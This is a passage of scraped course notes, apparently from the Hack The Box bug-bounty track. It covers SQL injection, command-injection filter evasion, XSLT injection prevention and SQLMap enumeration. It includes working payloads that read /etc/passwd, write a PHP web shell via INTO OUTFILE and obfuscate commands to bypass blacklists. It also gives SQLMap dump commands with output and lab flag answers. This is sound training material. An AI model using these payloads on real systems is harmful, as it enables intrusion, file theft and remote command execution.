FROM information_schema.global_variables where variable_name="secure_file_priv"-- -` Find which directories can be accessed through MySQL **File Injection** `cn' UNION SELECT 1, LOAD_FILE("/etc/passwd"), 3, 4-- -` Read local file `select 'file written successfully!' into outfile '/var/www/html/proof.txt'` Write a string to a local file `cn' union select "",'<?php system($_REQUEST[0]); ?>', "", "" into outfile '/var/www/html/shell.php'-- -` Write a web shell into the base web directory [PreviousWrite Up](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/updated-skills-assesment/write-up) [NextCVSS Scoring](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/cvss-scoring) Last updated 8 months ago * [MySQL](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/cheat-sheet#mysql) * [MySQL Operator Precedence](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/cheat-sheet#mysql-operator-precedence) * [SQL Injection](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/cheat-sheet#sql-injection) --- # Bypassing Other Blacklisted Characters | CBBH For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt) . This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion/bypassing-other-blacklisted-characters.md) . * * * Besides injection operators and space characters, a very commonly blacklisted character is the slash (`/`) or backslash (`\`) character, as it is necessary to specify directories in Linux or Windows. We can utilize several techniques to produce any character we want while avoiding the use of blacklisted characters. * * * ### Linux[](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion/bypassing-other-blacklisted-characters#linux) There are many techniques we can utilize to have slashes in our payload. One such technique we can use for replacing slashes (`or any other character`) is through `Linux Environment Variables` like we did with `${IFS}`. While `${IFS}` is directly replaced with a space, there's no such environment variable for slashes or semi-colons. However, these characters may be used in an environment variable, and we can specify `start` and `length` of our string to exactly match this character. For example, if we look at the `$PATH` environment variable in Linux, it may look something like the following: Bypassing Other Blacklisted Characters Copy Code4Christ@htb[/htb]$ echo ${PATH} /usr/local/bin:/usr/bin:/bin:/usr/games So, if we start at the `0` character, and only take a string of length `1`, we will end up with only the `/` character, which we can use in our payload: Bypassing Other Blacklisted Characters Copy Code4Christ@htb[/htb]$ echo ${PATH:0:1} / Note: When we use the above command in our payload, we will not add `echo`, as we are only using it in this case to show the outputted character. We can do the same with the `$HOME` or `$PWD` environment variables as well. We can also use the same concept to get a semi-colon character, to be used as an injection operator. For example, the following command gives us a semi-colon: Bypassing Other Blacklisted Characters Exercise: Try to understand how the above command resulted in a semi-colon, and then use it in the payload to use it as an injection operator. Hint: The `printenv` command prints all environment variables in Linux, so you can look which ones may contain useful characters, and then try to reduce the string to that character only. So, let's try to use environment variables to add a semi-colon and a space to our payload (`127.0.0.1${LS_COLORS:10:1}${IFS}`) as our payload, and see if we can bypass the filter: ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F109%2Fcmdinj_filters_spaces_5.jpg&width=768&dpr=3&quality=100&sign=d5f77b56&sv=2) As we can see, we successfully bypassed the character filter this time as well. * * * ### Windows[](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion/bypassing-other-blacklisted-characters#windows) The same concept works on Windows as well. For example, to produce a slash in `Windows Command Line (CMD)`, we can `echo` a Windows variable (`%HOMEPATH%` -> `\Users\htb-student`), and then specify a starting position (`~6` -> `\htb-student`), and finally specifying a negative end position, which in this case is the length of the username `htb-student` (`-11` -> `\`) : Bypassing Other Blacklisted Characters We can achieve the same thing using the same variables in `Windows PowerShell`. With PowerShell, a word is considered an array, so we have to specify the index of the character we need. As we only need one character, we don't have to specify the start and end positions: Bypassing Other Blacklisted Characters We can also use the `Get-ChildItem Env:` PowerShell command to print all environment variables and then pick one of them to produce a character we need. `Try to be creative and find different commands to produce similar characters.` * * * ### Character Shifting[](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion/bypassing-other-blacklisted-characters#character-shifting) There are other techniques to produce the required characters without using them, like `shifting characters`. For example, the following Linux command shifts the character we pass by `1`. So, all we have to do is find the character in the ASCII table that is just before our needed character (we can get it with `man ascii`), then add it instead of `[` in the below example. This way, the last printed character would be the one we need:\ \ Bypassing Other Blacklisted Characters\ \ We can use PowerShell commands to achieve the same result in Windows, though they can be quite longer than the Linux ones.\ \ Use what you learned in this section to find name of the user in the '/home' folder. What user did you find?[](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion/bypassing-other-blacklisted-characters#use-what-you-learned-in-this-section-to-find-name-of-the-user-in-the-home-folder.-what-user-did-you)\ \ --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------\ \ We’ve discovered that with ${LS\_COLORS:10:1}, we can generate a semicolon (;).\ \ Now, the hint from the question says, “Use the PATH environment variable along with the injection character you identified earlier.”\ \ Having completed the previous task, we now understand that we need to use %0a for “New Line” along with {ls, -la}.\ \ Now, we need to combine everything we’ve learned along this path.\ \ * ${LS\_COLORS:10:1} = ;\ \ * %0a = New line (\\n)\ \ * {ls,-la} = ls -la\ \ * ${IFS} = Tab + Space\ \ * ${PATH:0:1} = /\ \ * Home = Directory\ \ \ \*\*\* this is the full script\ \ ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2F1842858984-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FysDlYrLDpld6VwcWEx4H%252Fuploads%252F2T3Agh89VBoGGBFVr1qo%252Fimage.png%3Falt%3Dmedia%26token%3Dfeaed602-3b53-465c-b545-fd319bf908f6&width=768&dpr=3&quality=100&sign=5cd11892&sv=2)\ \ Answer: 1nj3c70r\ \ [PreviousBypassing Space Filters](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion/bypassing-space-filters)\ [NextBypassing Blacklisted Commands](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion/bypassing-blacklisted-commands)\ \ Last updated 1 year ago\ \ * [Linux](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion/bypassing-other-blacklisted-characters#linux)\ \ * [Windows](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion/bypassing-other-blacklisted-characters#windows)\ \ * [Character Shifting](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion/bypassing-other-blacklisted-characters#character-shifting)\ \ * [Use what you learned in this section to find name of the user in the '/home' folder. What user did you find?](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion/bypassing-other-blacklisted-characters#use-what-you-learned-in-this-section-to-find-name-of-the-user-in-the-home-folder.-what-user-did-you)\ \ \ Copy\ \ Code4Christ@htb[/htb]$ echo ${LS_COLORS:10:1}\ \ ;\ \ Copy\ \ C:\htb> echo %HOMEPATH:~6,-11%\ \ \\ \ Copy\ \ PS C:\htb> $env:HOMEPATH[0]\ \ \\ \ \ PS C:\htb> $env:PROGRAMFILES[10]\ PS C:\htb>\ \ Copy\ \ Code4Christ@htb[/htb]$ man ascii # \ is on 92, before it is [ on 91\ Code4Christ@htb[/htb]$ echo $(tr '!-}' '"-~'<<<[)\ \ \\ \ Copy\ \ ip=127.0.0.1${LS_COLORS:10:1}%0a{ls,-la}${IFS}${PATH:0:1}ho --- # Preventing XSLT Injection | CBBH For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt) . This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/xslt-injection/preventing-xslt-injection.md) . Preventing XSLT Injection[](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/xslt-injection/preventing-xslt-injection#preventing-xslt-injection) ------------------------------------------------------------------------------------------------------------------------------------------------------------- * * * After discussing how to identify and exploit XSLT injection vulnerabilities in the previous sections, we will conclude this module by discussing how to prevent them. * * * ### Prevention[](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/xslt-injection/preventing-xslt-injection#prevention) Similarly to all injection vulnerabilities discussed in this module, XSLT injection can be prevented by ensuring that user input is not inserted into XSL data before processing by the XSLT processor. However, if the output should reflect values provided by the user, user-provided data might be required to be added to the XSL document before processing. In this case, it is essential to implement proper sanitization and input validation to avoid XSLT injection vulnerabilities. This may prevent attackers from injecting additional XSLT elements, but the implementation may depend on the output format. For instance, if the XSLT processor generates an HTML response, HTML-encoding user input before inserting it into the XSL data can prevent XSLT injection vulnerabilities. As HTML-encoding converts all instances of `<` to `&lt;` and `>` to `&gt;`, an attacker should not be able to inject additional XSLT elements, thus preventing an XSLT injection vulnerability. Additional hardening measures such as running the XSLT processor as a low-privilege process, preventing the use of external functions by turning off PHP functions within XSLT, and keeping the XSLT library up-to-date can mitigate the impact of potential XSLT injection vulnerabilities. [PreviousExploiting XSLT Injection](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/xslt-injection/exploiting-xslt-injection) [NextSkills Assessment](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/skills-assessment) Last updated 10 months ago * [Preventing XSLT Injection](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/xslt-injection/preventing-xslt-injection#preventing-xslt-injection) * [Prevention](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/xslt-injection/preventing-xslt-injection#prevention) --- # Bypassing Blacklisted Commands | CBBH For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt) . This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion/bypassing-blacklisted-commands.md) . Bypassing Blacklisted Commands[](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion/bypassing-blacklisted-commands#bypassing-blacklisted-commands) --------------------------------------------------------------------------------------------------------------------------------------------------------------------------- * * * We have discussed various methods for bypassing single-character filters. However, there are different methods when it comes to bypassing blacklisted commands. A command blacklist usually consists of a set of words, and if we can obfuscate our commands and make them look different, we may be able to bypass the filters. There are various methods of command obfuscation that vary in complexity, as we will touch upon later with command obfuscation tools. We will cover a few basic techniques that may enable us to change the look of our command to bypass filters manually. * * * ### Commands Blacklist[](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion/bypassing-blacklisted-commands#commands-blacklist) We have so far successfully bypassed the character filter for the space and semi-colon characters in our payload. So, let us go back to our very first payload and re-add the `whoami` command to see if it gets executed: ![Screenshot of a web application interface showing a POST request to 127.0.0.1 with headers and a payload containing a command injection attempt. The response section displays HTML code for a 'Host Checker' form, allowing IP input and showing 'Invalid input' as a result.](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F109%2Fcmdinj_filters_commands_1.jpg&width=300&dpr=3&quality=100&sign=77236bc9&sv=2) We see that even though we used characters that are not blocked by the web application, the request gets blocked again once we added our command. This is likely due to another type of filter, which is a command blacklist filter. A basic command blacklist filter in `PHP` would look like the following: Code: php Copy $blacklist = ['whoami', 'cat', ...SNIP...]; foreach ($blacklist as $word) { if (strpos('$_POST['ip']', $word) !== false) { echo "Invalid input"; } } As we can see, it is checking each word of the user input to see if it matches any of the blacklisted words. However, this code is looking for an exact match of the provided command, so if we send a slightly different command, it may not get blocked. Luckily, we can utilize various obfuscation techniques that will execute our command without using the exact command word. * * * ### Linux & Windows[](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion/bypassing-blacklisted-commands#linux-and-windows) One very common and easy obfuscation technique is inserting certain characters within our command that are usually ignored by command shells like `Bash` or `PowerShell` and will execute the same command as if they were not there. Some of these characters are a single-quote `'` and a double-quote `"`, in addition to a few others. The easiest to use are quotes, and they work on both Linux and Windows servers. For example, if we want to obfuscate the `whoami` command, we can insert single quotes between its characters, as follows: Bypassing Blacklisted Commands The same works with double-quotes as well: Bypassing Blacklisted Commands The important things to remember are that `we cannot mix types of quotes` and `the number of quotes must be even`. We can try one of the above in our payload (`127.0.0.1%0aw'h'o'am'i`) and see if it works: **Burp POST Request** ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F109%2Fcmdinj_filters_commands_2.jpg&width=768&dpr=3&quality=100&sign=9f33ef1a&sv=2) Screenshot of a web app interface showing a POST request to 127.0.0.1 with headers and a command injection attempt. The response section displays HTML for a 'Host Checker' form, allowing IP input and showing ping results for 127.0.0.1. As we can see, this method indeed works. * * * ### Linux Only[](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion/bypassing-blacklisted-commands#linux-only) We can insert a few other Linux-only characters in the middle of commands, and the `bash` shell would ignore them and execute the command. These characters include the backslash `\` and the positional parameter character `$@`. This works exactly as it did with the quotes, but in this case, `the number of characters do not have to be even`, and we can insert just one of them if we want to: Code: bash Exercise: Try the above two examples in your payload, and see if they work in bypassing the command filter. If they do not, this may indicate that you may have used a filtered character. Would you be able to bypass that as well, using the techniques we learned in the previous section? * * * ### Windows Only[](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion/bypassing-blacklisted-commands#windows-only) There are also some Windows-only characters we can insert in the middle of commands that do not affect the outcome, like a caret (`^`) character, as we can see in the following example: Bypassing Blacklisted Commands In the next section, we will discuss some more advanced techniques for command obfuscation and filter bypassing. Use what you learned in this section find the content of flag.txt in the home folder of the user you previously found.[](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion/bypassing-blacklisted-commands#use-what-you-learned-in-this-section-find-the-content-of-flag.txt-in-the-home-folder-of-the-user-you) ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- This command appears to be a crafted string involving various shell environment variables and special characters. Here's a breakdown: * `127.0.0.1`: Typically represents the loopback IP address in networking, often used to refer to the local machine. * `${LS_COLORS:10:1}`: Extracts a substring from the `LS_COLORS` environment variable, starting at index 10 with length 1. = ; * `%0a`: Represents a newline character in URL encoding. = \\n * `"a"t`: A string with 'a' followed by 't'. * `${IFS}`: Refers to the Internal Field Separator in shell environments, usually a space or whitespace. = TAB + Space * `${PATH:0:1}`: Extracts the first character from the `PATH` environment variable. = / * `home`, `1nj3c70r`, `flag.txt`: These seem to be parts of a file path, suggesting a directory structure or files within a system. Overall, this expression might be part of a shell command potentially used for script injection or file path navigation on a system. Be cautious when interpreting such strings, especially in a security context. ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2F1842858984-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FysDlYrLDpld6VwcWEx4H%252Fuploads%252FGvaXmGBO5IlTtzfMJLFi%252Fimage.png%3Falt%3Dmedia%26token%3D7907dc13-cb5b-4451-be0f-f90689515d16&width=768&dpr=3&quality=100&sign=67f9cec0&sv=2) Answer: HTB{b451c\_f1l73r5\_w0n7\_570p\_m3} [PreviousBypassing Other Blacklisted Characters](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion/bypassing-other-blacklisted-characters) [NextAdvanced Command Obfuscation](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion/advanced-command-obfuscation) Last updated 1 year ago * [Bypassing Blacklisted Commands](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion/bypassing-blacklisted-commands#bypassing-blacklisted-commands) * [Commands Blacklist](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion/bypassing-blacklisted-commands#commands-blacklist) * [Linux & Windows](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion/bypassing-blacklisted-commands#linux-and-windows) * [Linux Only](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion/bypassing-blacklisted-commands#linux-only) * [Windows Only](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion/bypassing-blacklisted-commands#windows-only) * [Use what you learned in this section find the content of flag.txt in the home folder of the user you previously found.](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion/bypassing-blacklisted-commands#use-what-you-learned-in-this-section-find-the-content-of-flag.txt-in-the-home-folder-of-the-user-you) Copy 21y4d@htb[/htb]$ w'h'o'am'i 21y4d Copy 21y4d@htb[/htb]$ w"h"o"am"i 21y4d Copy who$@ami w\ho\am\i Copy C:\htb> who^ami 21y4d Copy 127.0.0.1${LS_COLORS:10:1}%0ac"a"t${IFS}${PATH:0:1}home${PATH:0:1}1nj3c70r${PATH:0:1}flag.txt --- # Password Attacks | CBBH For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt) . This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/password-attacks.md) . [Default Credentials](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/password-attacks/default-credentials) [Vulnerable Password Reset](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/password-attacks/vulnerable-password-reset) [PreviousWeak Brute-Force Protection](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/brute-force-attacks/weak-brute-force-protection) [NextDefault Credentials](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/password-attacks/default-credentials) Last updated 9 months ago --- # Database Enumeration | CBBH For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt) . This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/database-enumeration.md) . * * * Enumeration represents the central part of an SQL injection attack, which is done right after the successful detection and confirmation of exploitability of the targeted SQLi vulnerability. It consists of lookup and retrieval (i.e., exfiltration) of all the available information from the vulnerable database. * * * ### SQLMap Data Exfiltration[](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/database-enumeration#sqlmap-data-exfiltration) For such purpose, SQLMap has a predefined set of queries for all supported DBMSes, where each entry represents the SQL that must be run at the target to retrieve the desired content. For example, the excerpts from [queries.xml](https://github.com/sqlmapproject/sqlmap/blob/master/data/xml/queries.xml) for a MySQL DBMS can be seen below: Code: xml Copy <?xml version="1.0" encoding="UTF-8"?> <root> <dbms value="MySQL"> <!-- http://dba.fyicenter.com/faq/mysql/Difference-between-CHAR-and-NCHAR.html --> <cast query="CAST(%s AS NCHAR)"/> <length query="CHAR_LENGTH(%s)"/> <isnull query="IFNULL(%s,' ')"/> ...SNIP... <banner query="VERSION()"/> <current_user query="CURRENT_USER()"/> <current_db query="DATABASE()"/> <hostname query="@@HOSTNAME"/> <table_comment query="SELECT table_comment FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='%s' AND table_name='%s'"/> <column_comment query="SELECT column_comment FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema='%s' AND table_name='%s' AND column_name='%s'"/> <is_dba query="(SELECT super_priv FROM mysql.user WHERE user='%s' LIMIT 0,1)='Y'"/> <check_udf query="(SELECT name FROM mysql.func WHERE name='%s' LIMIT 0,1)='%s'"/> <users> <inband query="SELECT grantee FROM INFORMATION_SCHEMA.USER_PRIVILEGES" query2="SELECT user FROM mysql.user" query3="SELECT username FROM DATA_DICTIONARY.CUMULATIVE_USER_STATS"/> <blind query="SELECT DISTINCT(grantee) FROM INFORMATION_SCHEMA.USER_PRIVILEGES LIMIT %d,1" query2="SELECT DISTINCT(user) FROM mysql.user LIMIT %d,1" query3="SELECT DISTINCT(username) FROM DATA_DICTIONARY.CUMULATIVE_USER_STATS LIMIT %d,1" count="SELECT COUNT(DISTINCT(grantee)) FROM INFORMATION_SCHEMA.USER_PRIVILEGES" count2="SELECT COUNT(DISTINCT(user)) FROM mysql.user" count3="SELECT COUNT(DISTINCT(username)) FROM DATA_DICTIONARY.CUMULATIVE_USER_STATS"/> </users> ...SNIP... For example, if a user wants to retrieve the "banner" (switch `--banner`) for the target based on MySQL DBMS, the `VERSION()` query will be used for such purpose. In case of retrieval of the current user name (switch `--current-user`), the `CURRENT_USER()` query will be used. Another example is retrieving all the usernames (i.e., tag `<users>`). There are two queries used, depending on the situation. The query marked as `inband` is used in all non-blind situations (i.e., UNION-query and error-based SQLi), where the query results can be expected inside the response itself. The query marked as `blind`, on the other hand, is used for all blind situations, where data has to be retrieved row-by-row, column-by-column, and bit-by-bit. * * * ### Basic DB Data Enumeration[](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/database-enumeration#basic-db-data-enumeration) Usually, after a successful detection of an SQLi vulnerability, we can begin the enumeration of basic details from the database, such as the hostname of the vulnerable target (`--hostname`), current user's name (`--current-user`), current database name (`--current-db`), or password hashes (`--passwords`). SQLMap will skip SQLi detection if it has been identified earlier and directly start the DBMS enumeration process. Enumeration usually starts with the retrieval of the basic information: * Database version banner (switch `--banner`) * Current user name (switch `--current-user`) * Current database name (switch `--current-db`) * Checking if the current user has DBA (administrator) rights (switch `--is-dba`) The following SQLMap command does all of the above: Database Enumeration From the above example, we can see that the database version is quite old (MySQL 5.1.41 - from November 2009), and the current user name is `root`, while the current database name is `testdb`. Note: The 'root' user in the database context in the vast majority of cases does not have any relation with the OS user "root", other than that representing the privileged user within the DBMS context. This basically means that the DB user should not have any constraints within the database context, while OS privileges (e.g. file system writing to arbitrary location) should be minimalistic, at least in the recent deployments. The same principle applies for the generic 'DBA' role. * * * ### Table Enumeration[](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/database-enumeration#table-enumeration) In most common scenarios, after finding the current database name (i.e. `testdb`), the retrieval of table names would be by using the `--tables` option and specifying the DB name with `-D testdb`, is as follows: Database Enumeration After spotting the table name of interest, retrieval of its content can be done by using the `--dump` option and specifying the table name with `-T users`, as follows: Database Enumeration The console output shows that the table is dumped in formatted CSV format to a local file, `users.csv`. Tip: Apart from default CSV, we can specify the output format with the option \`--dump-format\` to HTML or SQLite, so that we can later further investigate the DB in an SQLite environment. ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Fcdn.services-k8s.prod.aws.htb.systems%2Fcontent%2Fmodules%2F58%2FpVBXxRz.png&width=768&dpr=3&quality=100&sign=237eccf2&sv=2) Database table showing columns for data type, table name, column name, and privileges with sample entries. * * * ### Table/Row Enumeration[](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/database-enumeration#table-row-enumeration) When dealing with large tables with many columns and/or rows, we can specify the columns (e.g., only `name` and `surname` columns) with the `-C` option, as follows: Database Enumeration To narrow down the rows based on their ordinal number(s) inside the table, we can specify the rows with the `--start` and `--stop` options (e.g., start from 2nd up to 3rd entry), as follows: Database Enumeration * * * ### Conditional Enumeration[](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/database-enumeration#conditional-enumeration) If there is a requirement to retrieve certain rows based on a known `WHERE` condition (e.g. `name LIKE 'f%'`), we can use the option `--where`, as follows: Database Enumeration * * * ### Full DB Enumeration[](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/database-enumeration#full-db-enumeration) Instead of retrieving content per single-table basis, we can retrieve all tables inside the database of interest by skipping the usage of option `-T` altogether (e.g. `--dump -D testdb`). By simply using the switch `--dump` without specifying a table with `-T`, all of the current database content will be retrieved. As for the `--dump-all` switch, all the content from all the databases will be retrieved. In such cases, a user is also advised to include the switch `--exclude-sysdbs` (e.g. `--dump-all --exclude-sysdbs`), which will instruct SQLMap to skip the retrieval of content from system databases, as it is usually of little interest for pentesters. You can use the -D to specify the testdb A: HTB{c0n6r475\_y0u\_kn0w\_h0w\_70\_run\_b451c\_5qlm4p\_5c4n} [PreviousAttack Tuning](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/building-attacks/attack-tuning) [NextAdvanced Database Enumeration](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/database-enumeration/advanced-database-enumeration) Last updated 9 months ago * [SQLMap Data Exfiltration](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/database-enumeration#sqlmap-data-exfiltration) * [Basic DB Data Enumeration](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/database-enumeration#basic-db-data-enumeration) * [Table Enumeration](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/database-enumeration#table-enumeration) * [Table/Row Enumeration](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/database-enumeration#table-row-enumeration) * [Conditional Enumeration](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/database-enumeration#conditional-enumeration) * [Full DB Enumeration](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/database-enumeration#full-db-enumeration) Copy Code4Christ@htb[/htb]$ sqlmap -u "http://www.example.com/?id=1" --banner --current-user --current-db --is-dba ___ __H__ ___ ___[']_____ ___ ___ {1.4.9} |_ -| . ['] | .'| . | |___|_ [.]_|_|_|__,| _| |_|V... |_| http://sqlmap.org [*] starting @ 13:30:57 /2020-09-17/ [13:30:57] [INFO] resuming back-end DBMS 'mysql' [13:30:57] [INFO] testing connection to the target URL sqlmap resumed the following injection point(s) from stored session: --- Parameter: id (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: id=1 AND 5134=5134 Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: id=1 AND (SELECT 5907 FROM(SELECT COUNT(*),CONCAT(0x7170766b71,(SELECT (ELT(5907=5907,1))),0x7178707671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) Type: UNION query Title: Generic UNION query (NULL) - 3 columns Payload: id=1 UNION ALL SELECT NULL,NULL,CONCAT(0x7170766b71,0x7a76726a6442576667644e6b476e577665615168564b7a696a6d4646475159716f784f5647535654,0x7178707671)-- - --- [13:30:57] [INFO] the back-end DBMS is MySQL [13:30:57] [INFO] fetching banner web application technology: PHP 5.2.6, Apache 2.2.9 back-end DBMS: MySQL >= 5.0 banner: '5.1.41-3~bpo50+1' [13:30:58] [INFO] fetching current user current user: 'root@%' [13:30:58] [INFO] fetching current database current database: 'testdb' [13:30:58] [INFO] testing if current user is DBA [13:30:58] [INFO] fetching current user current user is DBA: True [13:30:58] [INFO] fetched data logged to text files under '/home/user/.local/share/sqlmap/output/www.example.com' [*] ending @ 13:30:58 /2020-09-17/ Copy Code4Christ@htb[/htb]$ sqlmap -u "http://www.example.com/?id=1" --tables -D testdb ...SNIP... [13:59:24] [INFO] fetching tables for database: 'testdb' Database: testdb [4 tables] +---------------+ | member | | data | | international | | users | +---------------+ Copy Code4Christ@htb[/htb]$ sqlmap -u "http://www.example.com/?id=1" --dump -T users -D testdb ...SNIP... Database: testdb Table: users [4 entries] +----+--------+------------+ | id | name | surname | +----+--------+------------+ | 1 | luther | blisset | | 2 | fluffy | bunny | | 3 | wu | ming | | 4 | NULL | nameisnull | +----+--------+------------+ [14:07:18] [INFO] table 'testdb.users' dumped to CSV file '/home/user/.local/share/sqlmap/output/www.example.com/dump/testdb/users.csv' Copy Code4Christ@htb[/htb]$ sqlmap -u "http://www.example.com/?id=1" --dump -T users -D testdb -C name,surname ...SNIP... Database: testdb Table: users [4 entries] +--------+------------+ | name | surname | +--------+------------+ | luther | blisset | | fluffy | bunny | | wu | ming | | NULL | nameisnull | +--------+------------+ Copy Code4Christ@htb[/htb]$ sqlmap -u "http://www.example.com/?id=1" --dump -T users -D testdb --start=2 --stop=3 ...SNIP... Database: testdb Table: users [2 entries] +----+--------+---------+ | id | name | surname | +----+--------+---------+ | 2 | fluffy | bunny | | 3 | wu | ming | +----+--------+---------+ Copy Code4Christ@htb[/htb]$ sqlmap -u "http://www.example.com/?id=1" --dump -T users -D testdb --where="name LIKE 'f%'" ...SNIP... Database: testdb Table: users [1 entry] +----+--------+---------+ | id | name | surname | +----+--------+---------+ | 2 | fluffy | bunny | +----+--------+---------+ Copy sqlmap -u "94.237.62.103:38729/case1.php?id=1" --batch --dump -D testdb Copy ┌─[us-academy-3]─[10.10.14.225]─[htb-ac-1067736@htb-tu9evhc5ak]─[~] └──╼ [★]$ sqlmap -u "94.237.62.103:38729/case1.php?id=1" --batch --dump -D testdb ___ __H__ ___ ___[.]_____ ___ ___ {1.8.12#stable} |_ -| . [)] | .'| . | |___|_ [,]_|_|_|__,| _| |_|V... |_| https://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting @ 16:28:05 /2025-11-09/ [16:28:05] [INFO] testing connection to the target URL [16:28:06] [INFO] checking if the target is protected by some kind of WAF/IPS [16:28:06] [INFO] testing if the target URL content is stable [16:28:06] [INFO] target URL content is stable [16:28:06] [INFO] testing if GET parameter 'id' is dynamic [16:28:06] [INFO] GET parameter 'id' appears to be dynamic [16:28:07] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL') [16:28:07] [INFO] heuristic (XSS) test shows that GET parameter 'id' might be vulnerable to cross-site scripting (XSS) attacks [16:28:07] [INFO] testing for SQL injection on GET parameter 'id' it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y [16:28:07] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [16:28:07] [WARNING] reflective value(s) found and filtering out [16:28:08] 